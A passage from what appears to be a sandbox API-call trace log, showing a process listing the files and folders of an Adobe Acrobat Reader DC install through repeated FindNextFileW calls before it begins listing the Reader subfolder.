ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x309f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="AXE8SH~1.DLL")) returned 1 [0069.628] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded23451, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x989f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1 [0069.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1 [0069.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf89c98d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x269f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1 [0069.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1 [0069.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1 [0069.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a3b8a6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x62c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="CCME_B~1.DLL")) returned 1 [0069.629] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb1160cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base_non_fips.dll", cAlternateFileName="CCME_B~2.DLL")) returned 1 [0069.630] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecb0d47, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_ecc.dll", cAlternateFileName="")) returned 1 [0069.630] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Click on 'Change' to select default PDF handler.pdf", cAlternateFileName="CLICKO~1.PDF")) returned 1 [0069.630] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9352cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2cabf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1 [0069.630] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.dll", cAlternateFileName="CRYPTO~1.DLL")) returned 1 [0069.631] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb74, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.sig", cAlternateFileName="CRYPTO~1.SIG")) returned 1 [0069.631] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda97c8cb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1fff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectInk.dll", cAlternateFileName="DIRECT~1.DLL")) returned 1 [0069.631] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d4b4a4a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x15050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1 [0069.631] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37c828ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa1aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="EXTEND~1.DLL")) returned 1 [0069.631] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b2b330, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xd72a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1 [0069.631] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b51580, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1 [0069.631] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="IDTEMP~1")) returned 1 [0069.632] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0069.632] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0069.632] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1 [0069.632] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0069.632] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0069.632] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x207aaff6, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x56650, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1 [0069.632] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38a84970, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xba2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1 [0069.633] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1 [0069.633] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362bab1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1 [0069.633] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x168ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1 [0069.633] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7a5f26, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xd250, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb1353b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x184a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37cf4fbf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x386f10de, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8f8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ee50, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1 [0069.634] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1 [0069.635] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1 [0069.635] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0069.635] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebResources", cAlternateFileName="WEBRES~1")) returned 1 [0069.635] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.pdf", cAlternateFileName="")) returned 1 [0069.635] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 1 [0069.635] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.636] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35cb80) returned 1 [0069.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35cb40) returned 1 [0069.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35cc40) returned 1 [0069.636] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader", nBufferLength=0x105, lpBuffer=0x1f35c6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader", lpFilePart=0x0) returned 0x35 [0069.636] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\*", lpFindFileData=0x1f35c960 | out: lpFindFileData=0x1f35c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.636] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 